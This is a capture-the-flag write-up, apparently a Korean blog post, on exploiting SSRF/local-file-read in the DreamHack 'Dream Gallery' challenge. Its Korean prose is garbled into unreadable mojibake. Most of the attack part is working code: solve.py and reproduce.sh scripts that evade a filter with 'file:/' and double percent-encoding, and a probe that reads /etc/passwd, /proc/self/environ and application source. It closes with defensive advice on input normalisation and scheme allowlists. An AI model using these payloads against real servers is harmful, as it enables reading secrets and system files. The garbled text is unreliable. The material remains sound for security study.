file:/flag.txt | ์ฐจ๋จ | flag |
file:/fl%61g.txt | ์ฐจ๋จ | 1์ฐจ ๋์ฝ๋ฉ์ผ๋ก flag ๋ถํ |
file:/fl%2561g.txt | ํต๊ณผ | โ |
file:/etc/../fl%2561g.txt | ํต๊ณผ | โ |
๋ง์ง๋ง ์ค์ ๊ณ๊ฐ์ง์ง๋ง ๋ฃ์ด ๋๋ค. ๊ฒฝ๋ก ํธ๋ฆญ๋ ์ธ์ฝ๋ฉ๊ณผ ๊ฐ์ด ์ฐ๋ฉด ํตํ๋ค๋ ๋ป์ด๋ผ, ์ด ํํฐ๊ฐ ๋ง๊ณ ์๋ ๊ฒ ์ฌ์ค์ ์๋ฌด๊ฒ๋ ์์์ ๋ณด์ฌ ์ค๋ค.
์ฑ๊ณตยท์คํจ ํ์ ๋ง์ปค
except: ๋๋ฌธ์ ํ๋ฉด๋ง ๋ณด๋ฉด ํท๊ฐ๋ฆฌ๋, HTTP ์ํ์ค๋ก ํ์ ํ๋ ํธ์ด ํ์คํ๋ค.
#!/usr/bin/env bash
# ํํฐ์ ๊ฑธ๋ ธ๋์ง ํต๊ณผํ๋์ง๋ HTTP ์ํ์ค๋ง ๋ด๋ ๊ฐ๋ฆฐ๋ค.
# ๊ฑธ๋ฆฌ๋ฉด render_template โ 200, ํต๊ณผํ๋ฉด redirect(url_for('view')) โ 302.
# ์ธ์๋ก ๋์ ์ฃผ์๋ฅผ ์ค๋ค. ๊ธฐ๋ณธ์ ๋ก์ปฌ ์ฌํ.
BASE="${1:-http://127.0.0.1:8552}"
probe() {
printf '%-24s ' "$1"
curl -s -o /dev/null -D - "$BASE/request?url=$2&title=probe" 2>/dev/null \
| sed -n '1p;/^[Ll]ocation:/p' | tr -d '\r' | paste -sd' '
}
probe 'file:///flag.txt' 'file:///flag.txt'
probe 'file:/flag.txt' 'file:/flag.txt'
probe 'file:/fl%61g.txt' 'file:/fl%61g.txt'
probe 'file:/fl%2561g.txt' 'file:/fl%2561g.txt'
| ์ํ์ค | ์๋ฏธ | ๋ค์ ํ๋ |
|---|---|---|
200 OK | ํํฐ์ ๊ฑธ๋ ค request.html ๋ฐํ | ํ์ด๋ก๋๋ฅผ ๋ค์ ๋ณธ๋ค |
302 FOUND + Location: /view | ํต๊ณผ, urlopen๊น์ง ์คํ๋จ | /view์์ ํญ๋ชฉ์ ์ฐพ๋๋ค |
302์ธ๋ฐ /view์ ํญ๋ชฉ์ด ์์ | ํต๊ณผํ์ง๋ง urlopen์ด ์์ธ | ๊ฒฝ๋ก ์คํ๋ ๊ถํ ๋ฌธ์ |
์ธ ๋ฒ์งธ ์ค์ด ์ค์ ๋ก ๋์์ด ๋๋ค. except:๊ฐ ์์ธ๋ฅผ ์ผํค๋ ๋ฌธ์ ๋ผ์
"302๊ฐ ๋ด๋๋ฐ ๊ฒฐ๊ณผ๊ฐ ์๋ค"๋ ์ํฉ์ ๋ฐ๋ก ๊ตฌ๋ถํด ๋ฌ์ผ ์์ธ์ ์ขํ ์ ์๋ค.
๐ฏ ์ต์คํ๋ก์ โ ๋ธ๋ผ์ฐ์ ์์ ์์ผ๋ก
๋ก์ปฌ์์ ํ์ด๋ก๋๋ฅผ ํ์ ํ ๋ค ๋ผ์ด๋ธ ์๋ฒ๋ฅผ ์ผฐ๋ค. ์คํฌ๋ฆฝํธ๋ก ํ ๋ฐฉ์ ๋๋๊ธฐ๋ ํ์ง๋ง, ์ฌ๋์ด ๋ธ๋ผ์ฐ์ ์์ ์ด๋ป๊ฒ ํ๋ ๊ฒ์ธ์ง๋ ๊ฐ์ด ๋จ๊ฒจ ๋๋ค. ํผ์ผ๋ก ๋ณด๋ผ ๋๋ ์์์ ํ์ธํ ๋๋ก ํ ๊ฒน๋ง ์ด๋ค. ๋๋จธ์ง ํ ๊ฒน์ ๋ธ๋ผ์ฐ์ ๊ฐ ๋ถ์ฌ ์ค๋ค.

์์ฒญ ๋ฒํผ์ ๋๋ฅด๋ฉด ์ด๋ฒ์๋ ํผ์ผ๋ก ๋๋์์ค์ง ์๊ณ /view๋ก ๋์ด๊ฐ๋ค. ๊ทธ๋ฆฌ๊ณ
๊ฐค๋ฌ๋ฆฌ ๋์ flag.txt๋ผ๋ ์ ๋ชฉ์ ํญ๋ชฉ์ด ํ๋ ์๊ธด๋ค. ๊ทธ๋ฆผ ์๋ฆฌ๋ ๊นจ์ง ์์ด์ฝ์ด๋ค.
PNG๊ฐ ์๋๋ผ ํ
์คํธ๋๊น ๋น์ฐํ๋ค.

๊นจ์ง ์์ด์ฝ ์์ ๋ฌด์์ด ๋ค์ด ์๋์ง๋ img ํ๊ทธ์ src๋ฅผ ๋ณด๋ฉด ๋๋ค. ์ ๋ชฉ๊ณผ
base64๋ฅผ ์ง์ง์ด ๊บผ๋ด๋ ์คํฌ๋ฆฝํธ๋ฅผ ํ๋ ๋ง๋ค์ด ๋๋ค.
#!/usr/bin/env python3
"""/view ์์ ์ง์ ํ ์ ๋ชฉ์ ํญ๋ชฉ์ด ๋ฌผ๊ณ ์๋ base64 ๋ฅผ ๊ทธ๋๋ก ๊บผ๋ธ๋ค.
view.html ์ `<img src="data:image/png;base64,โฆ">` ๋ค์ div ์ ์ ๋ชฉ์ ์ฐ๋๋ค.
๊ทธ ์ง์ ์ ๊ท์์ผ๋ก ์ก์ base64 ์๋ฌธ๊ณผ ๋์ฝ๋ฉ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ์ด ๋ณด์ฌ์ค๋ค.
"""
import base64
import re
import sys
import urllib.request
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8552").rstrip("/")
WANT = sys.argv[2] if len(sys.argv) > 2 else "flag.txt"
html = urllib.request.urlopen(f"{BASE}/view", timeout=15).read().decode("utf-8", "replace")
pat = re.compile(
r'<img src="data:image/png;base64,([A-Za-z0-9+/=]+)".*?'
r'<div class="g-col-6 text-center">([^<]*)</div>',
re.S,
)
for b64, title in pat.findall(html):
if title.strip() != WANT:
continue
raw = base64.b64decode(b64)
print(f"[title ] {title.strip()}")
print(f"[base64] {b64}")
print(f"[decode] {raw!r}")
sys.exit(0)
print(f"[!] '{WANT}' ํญ๋ชฉ ์์. ์กด์ฌํ๋ ์ ๋ชฉ: "
+ ", ".join(t.strip() for _, t in pat.findall(html)))
sys.exit(1)
๋์ฝ๋ฉ์ ๋ธ๋ผ์ฐ์ ์์๋ ํ์ธ๋๋ค. ์์์ ์ป์ base64๋ฅผ ๊ทธ๋๋ก data:text/plain
URL๋ก ์ด๋ฉด, ์ฃผ์์ฐฝ์๋ ์๋ฒ๊ฐ ์ค base64 ์๋ฌธ์ด ๋จ๊ณ ๋ณธ๋ฌธ์๋ ๊ทธ ํ๋ฌธ์ด ๋์จ๋ค.
๊ฐค๋ฌ๋ฆฌ๊ฐ ๋ฌผ๊ณ ์๋ ๊ฐ์ด ํ๋๊ทธ ๊ทธ ์์ฒด๋ผ๋ ๊ฑธ ํ ํ๋ฉด์์ ๋ณผ ์ ์๋ค.

๐ Full Exploit
๋ธ๋ผ์ฐ์ ๋ก ํ์ธํ ํ๋ฆ์ ๊ทธ๋๋ก ์คํฌ๋ฆฝํธ๋ก ์ฎ๊ฒผ๋ค. ์ด ํ์ผ ํ๋๋ก ์์ฒญ๋ถํฐ ํ์๊น์ง
๋๋๋ค. requests๋ ์ ์ด๋ค โ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ํผ์ผํธ์ธ์ฝ๋ฉ์ ๋ค์ ๋ง์ง๋ฉด ์ ์จ ๋ง์ถ
์ธต์๊ฐ ์ด๊ธ๋๊ธฐ ๋๋ฌธ์, ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก URL์ ๋ฌธ์์ด์งธ ๋๊ธฐ๋ ์ชฝ์ด ์์ ํ๋ค.
#!/usr/bin/env python3
"""Dream Gallery (DreamHack id 552, Silver 1, web) โ SSRF/LFI ์๋ ์ต์คํ๋ก์.
/request ์ ํํฐ๋ ์ธ ๊ฒน์ด๋ค.
url = request.args.get('url', '').lower()
if url == '' or url.startswith("file://") or "flag" in url or title == '':
return render_template('request.html')
data = urlopen(url).read()
- `url.startswith("file://")` โ ์ฌ๋์๋ฅผ ํ๋๋ง ์ด `file:/` ๋ก ๋น๊ปด๊ฐ๋ค.
urllib ์ Request._parse ๋ `//` ๋ก ์์ํ์ง ์์ผ๋ฉด host ๋ฅผ ์ก์ง ์๊ณ
์ ์ฒด๋ฅผ selector ๋ก ๋๊ธฐ๋ฏ๋ก FileHandler.open_local_file ์ด ๊ทธ๋๋ก ๋ก์ปฌ ํ์ผ์ ์ฐ๋ค.
- `"flag" in url` โ ๊ฒฝ๋ก๋ฅผ ํผ์ผํธ์ธ์ฝ๋ฉํ๋ค. posix ์ url2pathname ์
์ฌ์ค์ unquote ๋ผ์ `fl%61g.txt` ๊ฐ ํ์ผ์์คํ
์ ๋ฟ์ ๋ `flag.txt` ๊ฐ ๋๋ค.
- Flask ๊ฐ ์ฟผ๋ฆฌ์คํธ๋ง์ ํ ๋ฒ ๋์ฝ๋ํ๋ฏ๋ก **์ด์ค ์ธ์ฝ๋ฉ**(`%2561`)์ผ๋ก ๋ณด๋ด์ผ
ํํฐ๊ฐ ๋ณด๋ ๋ฌธ์์ด์ `%61` ์ด ๋จ๋๋ค.
์ฝ์ ๋ฐ์ดํธ๋ base64 ๋ก mini_database ์ ๋ค์ด๊ฐ /view ์์ <img src="data:...">
๋ก ๋ ๋๋๋ค. ๊ทธ๋์ /view HTML ์ base64 ๋ฉ์ด๋ฆฌ๋ฅผ ์ ๋ถ ๋์ฝ๋ํด flag ๋ฅผ ์ฐพ๋๋ค.
์ฌ์ฉ๋ฒ:
python3 solve.py http://host1.dreamhack.games:12345 # ๋ผ์ด๋ธ
python3 solve.py http://127.0.0.1:8552 # ๋ก์ปฌ ์ฌํ
์ธ์๋ฅผ ์ ์ฃผ๋ฉด ๋ก์ปฌ ์ฌํ ์ฃผ์๋ฅผ ์ด๋ค.
"""
import base64
import re
import sys
import urllib.request
DEFAULT = "http://127.0.0.1:8552"
TARGET = "/flag.txt"
def http_get(url: str) -> str:
# requests ์์ด ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ง. ํผ์ผํธ์ธ์ฝ๋ฉ์ ์ ๋ ๋ค์ ๊ฑด๋๋ฆฌ์ง ์๋๋ค.
with urllib.request.urlopen(url, timeout=15) as r:
return r.read().decode("utf-8", "replace")
def build_payload(path: str) -> str:
"""/flag.txt โ file:/fl%2561g.txt (ํํฐ๊ฐ ๋ณด๋ ๊ฐ์ file:/fl%61g.txt)"""
# 'flag' ์ 'a' ๋ง ํผ์ผํธ์ธ์ฝ๋ฉํ๋ฉด ๋ธ๋๋ฆฌ์คํธ๊ฐ ๋ชป ์ก๋๋ค.
# ๊ทธ % ๋ฅผ ๋ค์ %25 ๋ก ๊ฐ์ธ Flask ์ 1์ฐจ ๋์ฝ๋ฉ์ ํต๊ณผ์ํจ๋ค.
encoded = path.replace("flag", "fl%2561g")
return "file:" + encoded # ์ฌ๋์ ํ๋ โ startswith("file://") ํํผ
def harvest(html: str) -> list[bytes]:
out = []
for blob in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", html):
try:
out.append(base64.b64decode(blob, validate=True))
except Exception:
pass
return out
def main() -> int:
base = (sys.argv[1] if len(sys.argv) > 1 else DEFAULT).rstrip("/")
title = "flagcarrier"
payload = build_payload(TARGET)
url = f"{base}/request?url={payload}&title={title}"
print(f"[*] target : {base}")
print(f"[*] filter sees : {payload.replace('%25', '%')}")
print(f"[*] GET {url}")
body = http_get(url)
# ํํฐ์ ๊ฑธ๋ฆฌ๋ฉด request.html ์ด ๊ทธ๋๋ก ๋์์จ๋ค(๋ฆฌ๋ค์ด๋ ํธ ์์).
if "<form" in body and "/view" not in body:
print("[!] ํํฐ์ ๋งํ๋ค โ request.html ์ด ๊ทธ๋๋ก ๋ฐํ๋จ")
return 1
view = http_get(f"{base}/view")
for data in harvest(view):
m = re.search(rb"DH\{[^}\n]*\}", data)
if m:
print(f"[+] FLAG: {m.group(0).decode()}")
return 0
print("[!] /view ์์ flag ๋ฅผ ๋ชป ์ฐพ์")
print(view[:800])
return 1
if __name__ == "__main__":
sys.exit(main())/view์์ base64๋ฅผ ๊ณจ๋ผ๋ด๋ ๋ฐฉ์์ ์ ๋ชฉ์ ์์กดํ์ง ์๊ฒ ํด ๋๋ค. ํ
ํ๋ฆฟ์ด ์กฐ๊ธ
๋ฌ๋ผ์ ธ๋ ํ์ด์ง ์์ base64 ๋ฉ์ด๋ฆฌ๋ฅผ ์ ๋ถ ๋์ฝ๋ฉํด DH{๋ก ์์ํ๋ ๊ฒ์ ์ฐพ๋๋ค.
๋ก์ปฌ ์ฌํ ์ปจํ ์ด๋์ ๋จผ์ ๋๋ ค ์ฒด์ธ์ด ๋๊น์ง ์ด์ด์ง๋์ง ๋ดค๋ค. ์ฌ๊ธฐ์ ๋์ค๋ ๊ฐ์ ๋ด๊ฐ ๋ฃ์ ๋๋ฏธ๋ค.

๊ฐ์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ผ์ด๋ธ ์๋ฒ๋ก ๋๋ฆฐ ๊ฒฐ๊ณผ๊ฐ ์ง์ง ํ๋๊ทธ๋ค.

[*] target : http://host3.dreamhack.games:22580
[*] filter sees : file:/fl%61g.txt
[*] GET http://host3.dreamhack.games:22580/request?url=file:/fl%2561g.txt&title=flagcarrier
[+] FLAG: DH{b2037a026b40cc98804e91b5a2a07f54}์ฌํ ์คํฌ๋ฆฝํธ
๋ก์ปฌ ๊ฒ์ฆ๊ณผ ๋ผ์ด๋ธ ํ์๋ฅผ ํ ํ์ผ์ ๋ฌถ์ด ๋๋ค. ์ธ์๋ฅผ ์ ์ฃผ๋ฉด ๋์ปค ์ปจํ ์ด๋๋ฅผ ์ธ์ ์ฒด์ธ๋ง ๊ฒ์ฆํ๊ณ , ๋ผ์ด๋ธ ์ฃผ์๋ฅผ ์ฃผ๋ฉด ์ง์ง ํ๋๊ทธ๋ฅผ ํ์ธํ๋ค. ์คํ๋ผ์ธ๋ง์ผ๋ก๋ ์ง์ง ํ๋๊ทธ๋ฅผ ์ป์ ์ ์์ผ๋ ๊ทธ ์ฌ์ค์ ์คํฌ๋ฆฝํธ๊ฐ ์ง์ ๋งํ๊ฒ ํ๋ค.
#!/usr/bin/env bash
# Dream Gallery (DreamHack 552, Silver 1, web) โ ํ ๋ฐฉ ์ฌํ.
#
# ./reproduce.sh ๋ก์ปฌ ๋์ปค ์ฌํ์ผ๋ก ์ต์ค ์ฒด์ธ ๊ฒ์ฆ (๋๋ฏธ flag)
# ./reproduce.sh http://host3...games:PORT ๋ผ์ด๋ธ ์๋ฒ์์ ์ง์ง flag ํ์
#
# โ
์ ์ง์ฑ: ์ธ์ ์์ด ๋๋ฆฌ๋ฉด ํ์ธ๋๋ ๊ฒ์ "ํํฐ 3์ค ์ฐํ๊ฐ ์ค์ ๋ก ํตํ๊ณ
# /flag.txt ๋ฅผ ์ฝ์ด๋ธ๋ค"๋ ๊ฒ๊น์ง๋ค. ์ด๋ ๋์ค๋ ๊ฐ์ ๋ก์ปฌ ์ปจํ
์ด๋์ ๋ด๊ฐ ๋ฃ์
# ๋๋ฏธ(DH{LOCAL_DUMMY_NOT_THE_REAL_FLAG})๋ค. ์ง์ง flag ๋ ๋ผ์ด๋ธ ์๋ฒ์๋ง ์์ผ๋ฏ๋ก
# ์คํ๋ผ์ธ๋ง์ผ๋ก๋ ์ป์ ์ ์๋ค โ ๊ทธ๋์ ๋ผ์ด๋ธ ์ธ์๋ฅผ ๋ฐ๋ก ๋ฐ๋๋ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
DUMMY='DH{LOCAL_DUMMY_NOT_THE_REAL_FLAG}'
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ .json'))['flag'])" 2>/dev/null || echo '')
if [ $# -ge 1 ]; then
MODE=live; TARGET="$1"
else
MODE=local; TARGET="http://127.0.0.1:8552"
echo "[*] ๋ก์ปฌ ์ฌํ ์ปจํ
์ด๋ ๊ธฐ๋"
./build_local.sh
EXPECT="$DUMMY"
fi
echo
echo "[*] ํํฐ ๋ฐ์ ํ ($MODE)"
./probe_status.sh "$TARGET"
echo
echo "[*] ์ต์คํ๋ก์"
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT"
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
echo
if [ -z "$FLAG" ]; then
echo "โ FAIL โ flag ๋ฅผ ๋ชป ๋ฝ์๋ค"; exit 1
fi
if [ -n "$EXPECT" ] && [ "$FLAG" != "$EXPECT" ]; then
echo "โ FAIL โ ์ป์ ๊ฐ '$FLAG' / ๊ธฐ๋ '$EXPECT'"; exit 1
fi
if [ "$MODE" = local ]; then
echo "โ
PASS $FLAG"
echo " (๋ก์ปฌ ๋๋ฏธ๋ค. ์ง์ง flag ๋ ./reproduce.sh <๋ผ์ด๋ธ์ฃผ์> ๋ก.)"
else
echo "โ
PASS $FLAG"
fi๐ ๊ณ๊ฐ์ง โ ์ด ํํฐ๊ฐ ์ค์ ๋ก ๋ง๊ณ ์๋ ๊ฒ์ ์ด๋ฆ ํ๋๋ฟ์ด๋ค
ํ๋๊ทธ๋ฅผ ๋ด ๋ค์ ๊ถ๊ธํด์ ํ๋ ๋ ํ์ธํ๋ค. ๊ฒฝ๋ก์ flag๋ผ๋ ๋ค ๊ธ์๊ฐ ์์ผ๋ฉด
ํผ์ผํธ์ธ์ฝ๋ฉ์กฐ์ฐจ ํ์ ์๋ค. ์ฌ๋์ ํ๋๋ง ์ค์ด๋ฉด ๊ทธ๋๋ก ํต๊ณผํ๋ค.
#!/usr/bin/env python3
"""ํํฐ๊ฐ ๋ง๊ณ ์๋ ๊ฒ ์ฌ์ค์ flag.txt ๋ผ๋ ์ด๋ฆ๋ฟ์์ ํ์ธํ๋ค.
๊ฒฝ๋ก์ 'flag' ๋ผ๋ ๋ค ๊ธ์๊ฐ ์์ผ๋ฉด ํผ์ผํธ์ธ์ฝ๋ฉ์กฐ์ฐจ ํ์ ์๋ค.
์ฌ๋์ ํ๋๋ง ์ค์ด๋ฉด ๊ทธ๋๋ก ํต๊ณผํด ์์ ํ์ผ์ด ์ฝํ๋ค.
"""
import base64, re, sys, urllib.request
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8552").rstrip("/")
TARGETS = [
"/app/app.py", # ๋ฐฐํฌ๋ ์์ค ๊ทธ๋๋ก
"/etc/passwd", # ์ปจํ
์ด๋ ๊ณ์ ๋ชฉ๋ก
"/proc/self/environ", # ํ๋ก์ธ์ค ํ๊ฒฝ๋ณ์
"/proc/self/cgroup", # ์ปจํ
์ด๋ ์ฌ๋ถยทID
]
def fetch(path: str) -> bytes | None:
title = "probe" + path.replace("/", "_")
url = f"{BASE}/request?url=file:{path}&title={title}"
urllib.request.urlopen(url, timeout=15).read()
html = urllib.request.urlopen(f"{BASE}/view", timeout=15).read().decode("utf-8", "replace")
pat = re.compile(
r'<img src="data:image/png;base64,([A-Za-z0-9+/=]+)".*?'
r'<div class="g-col-6 text-center">([^<]*)</div>', re.S)
for b64, t in pat.findall(html):
if t.strip() == title:
return base64.b64decode(b64)
return None
for path in TARGETS:
data = fetch(path)
if data is None:
print(f"{path:22} ์คํจ (ํํฐ ์ฐจ๋จ ๋๋ ์ฝ๊ธฐ ์คํจ)")
continue
head = data.split(b"\n")[0][:70].replace(b"\x00", b" ")
print(f"{path:22} {len(data):6}B ์ฒซ์ค: {head.decode('utf-8', 'replace')}")
๋ค ๊ฐ ๋ค ์ฝํ๋ค. ๋ช ๊ฐ์ง๊ฐ ๋์ ๊ฑธ๋ฆฐ๋ค.
/app/app.py๊ฐ 1834๋ฐ์ดํธ์ธ๋ฐ, ๋ฐฐํฌ๋ณธ์ผ๋ก ๋ฐ์ extracted/app.py๋
์ ํํ 1834๋ฐ์ดํธ๋ค. ์๋ฒ๊ฐ ๋๋ ์ฝ๋์ ๋ด๊ฐ ์ฝ์ ์ฝ๋๊ฐ ๊ฐ์ ํ์ผ์ด๋ผ๋ ๋ป์ด๋ค.
์์ค๋ฅผ ์ ์คฌ์ด๋ ์ด ๊ฒฝ๋ก ํ๋๋ก ๋ค ๋ณผ ์ ์์๋ค.
/proc/self/environ์ PATH๋ถํฐ ์์ํ๋ ํ๊ฒฝ๋ณ์ ์ ์ฒด๋ค. ์ด ๋ฌธ์ ์๋ ๋น๋ฐ์ด
์ ๋ค์ด ์์ง๋ง, ์ค์ ์๋น์ค๋ผ๋ฉด DB ๋น๋ฐ๋ฒํธ๋ API ํค๊ฐ ์ฌ๊ธฐ ์๋ค.
/proc/self/cgroup์ libpod_parent๋ ์ปจํ
์ด๋ ๋ฐํ์์ด podman์ด๋ผ๋ ํ์ ์ด๋ค.
๋ฌธ์ ํ์ผ์๋ Docker๋ง ๋์ค๋๋ฐ ์ค์ ๋ฐฐํฌ๋ podman์ผ๋ก ๋๊ณ ์์๋ค.
์ด๋ฆ ํ๋๋ฅผ ๊ธ์ง์ด๋ก ๋ง๋ ๋ฐฉ์์ด ์ ๋์ฑ ์ด ์๋์ง ์ฌ๊ธฐ์ ๊ทธ๋๋ก ๋ณด์ธ๋ค. ์ง๋ชฉ๋นํ ํ์ผ๋ง ๋ชป ์ฝ๊ฒ ํ์ ๋ฟ, ์ฝ๊ธฐ ์์ฒด๋ ์ด๋ ค ์๋ค.
๐งฑ ์ง์ ํด ๋ณผ ๋ ํ์ํ ๊ฒ
๋ฐฐํฌ๋ณธ์ templates/์ static/์ด ์์ผ๋ ๊ทธ๋๋ก ๋น๋ํ๋ฉด TemplateNotFound๋ก
์ฃฝ๋๋ค. ๋ก์ปฌ ์ฌํ์ ์ธ์ฐ๋ ค๋ฉด ์ด ์ ๋๋ง ์ฑ์ฐ๋ฉด ๋๋ค.
dream-gallery/
โโโ extracted/ # ๋ฐฐํฌ๋ณธ (app.py, Dockerfile)
โโโ local/
โ โโโ Dockerfile # extracted/Dockerfile ๊ทธ๋๋ก
โ โโโ deploy/
โ โโโ app.py # extracted/app.py ๊ทธ๋๋ก โ ์์ ๊ธ์ง
โ โโโ flag.txt # ๋๋ฏธ ํ ์ค
โ โโโ static/ # assetA#03.jpg ~ assetD#03.jpg (์๋ฌด ๋ฐ์ดํธ์ฌ๋ ๋จ)
โ โโโ templates/ # view.html / request.html / upload.html
โโโ build_local.sh
โโโ probe_status.sh
โโโ probe_filter.py
โโโ probe_encoding_layer.py
โโโ probe_urllib.py
โโโ probe_read_any.py
โโโ extract_b64.py
โโโ solve.py
โโโ reproduce.sh๋ช ๊ฐ์ง ํจ์ ์ด ์๋ค.
static/assetA#03.jpg ํ์ผ๋ช
์ ์ต์ด ๋ค์ด๊ฐ๋ค. app.py๊ฐ ์์ํ ๋
open('static/assetA#03.jpg', 'rb')๋ก ๋ค ๊ฐ๋ฅผ ์ฝ์ผ๋ฏ๋ก, ์ด๋ฆ์ด ์ ํํ์ง ์์ผ๋ฉด
์๋ฒ๊ฐ ์์ ์ ๋ฌ๋ค. ์ด๋ฏธ์ง ๋ด์ฉ์ ์๋ฌด๋๋ ์ข๋ค.
app.py๋ ์๋์ง ์๋๋ค. ํํฐ๋ฅผ ํ๋ด๋ด ๋ค์ ์ฐ๋ฉด ๋ฏธ๋ฌํ๊ฒ ๋ฌ๋ผ์ ธ์ ์คํ ๊ฒฐ๊ณผ๋ฅผ
๋ฏฟ์ ์ ์๊ฒ ๋๋ค. ๋ฐฐํฌ๋ณธ์ ๊ทธ๋๋ก ๋ฃ๋ ๊ฒ ์์ ์ด๋ค.
ํฌํธ๋ ์ปจํ
์ด๋ ์ 80. app.run(host="0.0.0.0", port=80)์ด๋ผ ํธ์คํธ ์ชฝ๋ง ๋ฐ๊ฟ
๋งคํํ๋ค(์์์๋ 8552).
urlopen ์ธ์๋ฅผ ์์ผ๋ก ์กฐ๋ฆฝํ ๋๋ง ๋ ๊ฒน. ๋ธ๋ผ์ฐ์ ํผ์ผ๋ก ์คํํ๋ฉด ํ ๊ฒน์ผ๋ก๋
๋๋๊น, ์ด๋ ๊ฒฝ๋ก๋ก ๋ณด๋ด๋์ง์ ๋ฐ๋ผ ํ์ด๋ก๋๊ฐ ๋ฌ๋ผ์ง๋ค๋ ๊ฒ์ ๊ธฐ์ตํด์ผ ํท๊ฐ๋ฆฌ์ง ์๋๋ค.
๋ผ์ด๋ธ ์๋ฒ์์ ์ต์ข ํ์ธํ ๋๋ ์ด๋ ๊ฒ ๋ถ๋ฅธ๋ค.
./reproduce.sh http://host3.dreamhack.games:22580๐ ๊ฒฐ๋ก
๋ธ๋๋ฆฌ์คํธ๋ ์๊ธฐ๊ฐ ๊ฒ์ฌํ ๋ฌธ์์ด์ด ๋์ค์ ๋ฌด์์ผ๋ก ๋ณํ๋์ง ๋ชจ๋ฅธ๋ค.
์ด ๋ฌธ์ ์ ํํฐ๋ ๋ ๊ฒน ๋ค ๋ฌธ์์ด ๊ฒ์ฌ์๋ค. startswith๋ ์ ๋์ด๋ฅผ,
in์ ๋ถ๋ถ ๋ฌธ์์ด์ ๋ณธ๋ค. ๋ ๋ค "์ง๊ธ ์ด ๋ฌธ์์ด"์ ๋ํ ํ๋จ์ด๋ค.
๊ทธ๋ฐ๋ฐ ๊ทธ ๋ฌธ์์ด์ urlopen ์์์ ํ์ฑ๋๊ณ , url2pathname์์ ํ ๋ฒ ๋
๋์ฝ๋ฉ๋ ๋ค์์์ผ open์ ๋๋ฌํ๋ค. ๊ฒ์ฌํ ๊ฐ๊ณผ ์คํ๋๋ ๊ฐ์ด ๋ค๋ฅธ ๊ฒ์ด๋ค.
๊ทธ๋์ ์์๋ฅผ ๋ค์ง์ด์ผ ํ๋ค. ๊ฒ์ฌ ์ ์ ์ ๊ทํ๋ฅผ ๋จผ์ ํด์ผ ํ๋ค.
unquote๋ฅผ ํ์ํ ๋งํผ ๋ฐ๋ณตํด ๊ณ ์ ์ ์ ๋๋ฌ์ํค๊ณ , urlsplit์ผ๋ก ์คํด๊ณผ ๊ฒฝ๋ก๋ฅผ
์ชผ๊ฐ ๋ค์, ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๋๊ณ ํ๋จํ๋ค.
๋ง์ ๊ฒ์ ๋ฌธ์์ด์ด ์๋๋ผ ์คํด์ด๋ค.
file://๋ฅผ ๊ธ์ง์ด๋ก ๋ฃ๋ ๋์ urlsplit(url).scheme๋ฅผ ๋ฝ์
{"http", "https"}์ ์๋์ง๋ง ํ์ธํ๋ฉด ์ด ๊ธ์ ์ฐํ๋ ์ ๋ถ ๋ฌดํจ๊ฐ ๋๋ค.
file:/๋ FILE:๋ f%69le:๋ ํ์ฑํ๋ฉด ์คํด์ file์ด๋ค.
ํ์ฉ๋ชฉ๋ก์ ๋ด๊ฐ ๋ชจ๋ฅด๋ ์คํด๊น์ง ๊ฐ์ด ๋ง์ ์ค๋ค โ ftp, data,
ํ์ด์ฌ ๋ฒ์ ์ ๋ฐ๋ผ ๋์ด๋๋ ํธ๋ค๋ฌ๊น์ง.
ํ๋๊ทธ ํ์ผ ์ด๋ฆ์ ๊ฐ์ถ๋ ๊ฒ์ ๋์ฑ ์ด ์๋๋ค.
"flag" in url์ ํ์ผ ์ด๋ฆ์ ์๋ ๊ณต๊ฒฉ์๋ฅผ ๋ง๋ ์ฅ์น์ธ๋ฐ, ์ ์ด์ ๋ฌธ์ ์ค๋ช
์ด
/flag.txt๋ผ๊ณ ์๋ ค ์ค๋ค. ์ด๋ฆ์ ๊ฐ๋ ค๋ /proc/self/environ์ด๋
/app/app.py์ฒ๋ผ ์ฝ์ ๋งํ ๊ฒ์ ์ผ๋ง๋ ์ง ์๋ค. ์ฝ๊ธฐ ์์ฒด๋ฅผ ๋ง์ง ์์ผ๋ฉด
๋ฌด์์ ์ฝํ๋ ์๊ฐ๋ฌธ์ ๋ค.
์๋ฒ๊ฐ ๋์ ์์ฒญํด ์ฃผ๋ ๊ธฐ๋ฅ์ ๊ทธ ์์ฒด๋ก ๊ถํ ์น๊ฒฉ์ด๋ค.
์ฌ์ฉ์๋ ์ปจํ
์ด๋ ์ ํ์ผ์์คํ
์ ์ ๊ทผํ ์ ์์ง๋ง, urlopen์ ๋์ ํธ์ถํด ์ฃผ๋
์๋ํฌ์ธํธ๊ฐ ์์ผ๋ฉด ์๋ฒ์ ๊ถํ์ผ๋ก ํ์ผ์ ์ฝ๊ฒ ๋๋ค. ๋ด๋ถ๋ง ์ฃผ์๋
ํด๋ผ์ฐ๋ ๋ฉํ๋ฐ์ดํฐ ์๋ํฌ์ธํธ๋ ๊ฐ์ ์ด์ ๋ก ์ํํ๋ค. ์ด ๊ธฐ๋ฅ์ ์ด๋ ค๋ฉด
์คํด ํ์ฉ๋ชฉ๋ก๊ณผ ํจ๊ป DNS ํด์ ๊ฒฐ๊ณผ๊ฐ ์ฌ์ค ๋์ญ์ธ์ง๊น์ง ๋ด์ผ ํ๋ค.
chmod 444๋ก ํ๋๊ทธ๋ฅผ ์ฝ๊ธฐ ์ ์ฉ์ผ๋ก ๋ง๋ค์ด ๋ ๊ฒ์ด ๋ฐฉ์ด๊ฐ ๋์ง ๋ชปํ ์ด์ ๋ ๊ฐ๋ค.
๋ง์์ผ ํ๋ ๊ฑด ์ฐ๊ธฐ๊ฐ ์๋๋ผ ์ฝ๊ธฐ์๋ค.
Comments
๋๊ธ
